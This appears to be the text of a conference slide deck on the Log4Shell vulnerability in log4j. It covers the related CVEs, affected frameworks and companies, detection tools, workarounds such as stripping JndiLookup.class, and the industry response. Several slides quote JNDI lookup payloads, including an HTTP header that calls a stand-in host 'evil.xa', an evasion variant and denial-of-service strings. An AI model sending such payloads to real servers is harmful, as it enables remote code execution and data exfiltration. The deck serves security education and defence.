Log4Shell

A log of 12/21 and the future of IT
The close future

- The log4j: the coal lump in our sock
- The industry is fighting back
- In the aftermath
Father of 2 + 1 dog
Head Of Engineering Salt And Pepper
16 Years in Industry, mostly product companies
@JavaAdvent for 10+ years
Transylvanian JUG
InfoQ Editor in Mike Redlich's Team
Incurable Dreamer Of a Better World
Vulnerability

/vʌln(ə)rəˈbɪlɪti/
noun:
1. the quality or state of being exposed to the possibility of being attacked or harmed, either physically or emotionally.
2. cyber: a weakness that can be exploited by cybercriminals to gain unauthorized access to a computer system
The log4j JNDI Attack
and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}

The string is passed to log4j for logging

log4j interpolates the string and queries the malicious LDAP server.

ldap://evil.xa/x

Attacker

Vulnerable Server
http://victim.xa

Vulnerable log4j implementation

Malicious LDAP Server
ldap://evil.xa

X BLOCK WITH WAF

X PATCH LOG4J

X DISABLE LOG4J

X DISABLE JNDI LOOKUPS

X DISABLE REMOTE CODEBASES

<table>
<thead>
<tr>
<th>public class Malicious implements Serializable</th>
</tr>
</thead>
<tbody>
<tr>
<td>static</td>
</tr>
<tr>
<td>&lt;malicious Java code&gt;</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

JAVA deserializes (or downloads) the malicious Java class and executes it.

The LDAP server responds with directory information that contains the malicious Java class.
log4shell: misfortunes never come alone

- **December 10: CVE-2021-44228:**
  - Reported by Chen Zhaojun - Alibaba’s Cybersecurity team Nov 29th
  - Critical (10/10)
  - **Affected versions:** Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0.

- **December 14: CVE-2021-45046**
  - Critical (9/10)
  - **Affected versions:** 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)

- **December 14: CVE-2021-45105**
  - High (7.5/10)
  - **Affected versions:** Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included)

- **December 28: CVE-2021-44832**
  - High (6.5/10)
  - **Affected versions:** Log4j2 2.17.1, 2.12.4, and 2.3.2.
CVE-2021-44228

- **Remote Code Exploit** that allows an attacker that could log arbitrary strings to execute arbitrary code
- **Behaviour:**
  - Evaluation of potential malicious payloads
    - ($\{\text{jndi:protocol://evil.io/xploit}\}$)
  - Used protocols: mainly LDAP and DNS
  - Load the exploit pointed at the URL and executed on the host server
  - Could make use of the DNS service provider to exfiltrate possible variables that store sensitive information

[https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)
CVE-2021-45046

- **Remote Code Execution** still possible on certain environments as well as exfiltration of server environment variables
- Variations of the payloads allow evading the mitigations defined by Apache:
  - `$('jndi:ldap://127.0.0.1#evil.io/xploit')`
CVE-2021-45105

- Allows a **DoS** attack on log trace configurations in which recursive resolutions are used
- Allows a StackOverflow Exception causing the termination of the vulnerable application process
- Payload:
  - `$$Hello$$`
  - `$$low$$`

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-45105
CVE-2021-44832

- Allows and RCE when the configuration uses a JDBC Appender with a JDNI LDAP Data Source URI

https://mergebase.com/vulnerability/CVE-2021-44832/
Image source: @aalmiray via @mpredli
Blast Area: Java Frameworks Affected

- Apache Flink
- Apache Lucene
- Apache Struts
- Apache Hive
- Apache JMeter
- Apache Solr
- ...

- Apache Camel
- Apache Hadoop
- Apache httpd
- Apache Kafka
- Apache Maven
- Apache Spark
- ...

https://blogs.apache.org/security/entry/cve-2021-44228
https://github.com/NCSC-NL/log4shell/blob/main/software/software_list_a.md
Blast Area: Java Is Everywhere

- 64% of the Java Apps referenced it, 40% use it actively
- 8% Of Sonatype’s Maven Central, (normal average is <2%)
- 28 M downloads August-December ‘21 in Maven-Central

https://www.sonatype.com/resources/log4j-vulnerability-resource-center
https://stackoverflow.blog/2022/01/19/heres-how-stack-overflow-users-responded-to-log4shell-the-log4j-vulnerability-affecting-almost-everyone
https://www.contrastsecurity.com/security-influencers/log4shell-by-the-numbers
First Security Vulnerability Exported to Outer Space?

Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j? logging.apache.org

#Apache #OpenSource #innovation #community #logging #services

DID YOU KNOW?

http://apache.org/

14:00 · 6/4/21 · Twitter Web App
Blast Area: Companies Affected

- Intel
- Google
- AWS
- Apple
- IBM
- Tesla
- Atlassian
Active Exploitation

- **Who?**
  - Actors from China, Iran, North Korea and Turkey tried to exploit it
  - Independent or Country backed organisations

- **What?**
  - Ransomware Campaigns
  - Botnets
  - Crypto mining
  - Remote access
  - Reverse shell

Image Source
Defense Against The Dark Arts: Detections

- **MergeBase log4j Detector**
  - Java tool scanning for vulnerable versions of log4j
  - Can correctly detect log4j inside executable spring-boot jars/wars, dependencies blended into [uber jars](https://security都不会), shaded jars, and even exploded jar files just sitting uncompressed on the file-system (aka *.class).
  - Tested on Windows, Linux, MacOS

- **BiZone Scripts For Linux and Windows**
  - CVE-2021-44228 only
  - Scans JVM processes

- **Linux Log4Shell Exploitation Attempts Identifier**
  - Commands list to identify whether you were attacked or not
Defense Against The Dark Arts: Workarounds

- Workarounds:
  - For log4j > 2.10.0:
    - Dlog4j2.formatMsgNoLookups=true to disable the variable extrapolation.
    - set LOG4J_FORMAT_MSG_NO_LOOKUPS=true environmental variable to achieve the above behavior.
    - Warning: in certain circumstances the code execution is still possible
  - All versions:
    - Remove JNDILookup class from the jar and repack the jar and the application (This solution must be evaluated as it could affect the application availability).
    - find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/lookup/JndiLookup.class \;
  - The upgrade to safe versions is still considered the recommended solution
Defense against the Dark Arts: Industry Solutions

- **Web Application Firewalls**
  - Polymorphic nature of the payload
  - Not just HTTP
  - RMI, CORBA, DNS

- **Inefficient**

- **Agent Based Solutions:**
  - Fix the vulnerability from within
  - Fix it on a running JVM process
  - Fix or mitigate

- **AWS Coreto Team Hotpatch**
  - JVM Running process: fix the lookup()
  - JDK8 and JDK11 on Linux

- **Agent centered protection:**
  - Contrast Security (IAST or RASP)
    - Protect the application from within
    - Target the problematic process
Are we safe now? 40% wrong download - Sonatype

- First days **70%** of the downloads - **vulnerable versions**
- Currently approximately **40%** of the log4j downloads are **vulnerable** versions (Pre 2.15.x)
- Days following the public exposure ~ **700K** downloads daily

- Log4j questions on SO got a **1122%** increase in traffic in the first 7 days post announcement
- “Vulnerability” among top **100 words** used on SO
- Migration for log4j **19K** views after public announcement

https://www.sonatype.com/resources/log4j-vulnerability-resource-center
https://stackoverflow.blog/2022/01/19/heres-how-stack-overflow-users-responded-to-log4shell-the-log4j-vulnerability-affecting-almost-everyone
https://www.contrastsecurity.com/security-influencers/log4shell-by-the-numbers
In the aftermath: α-Ω

- **Who?** Open Source Security Foundation, Google, Microsoft
  - Dedicated teams
- **How?**
  - **Alpha:** address undiscovered vulnerabilities within OSS project code
  - **Omega:** will apply automated security analysis, scoring and remediation guidance to 10k OSS projects
    - OpenSSF Scorecards
    - OpenSSF Best Practices Badge
  - Improved transparency in the health and security of these projects
  - Harvard’s Census Program II, OSTIF Managed Audit Program => [Interim List Of Critical Projects](#)
    - Ansible, Angular, Kubernetes, maven, Rust
    - Go Lang, node.js, Rust Linux, Julia, Ruby, …
Дякую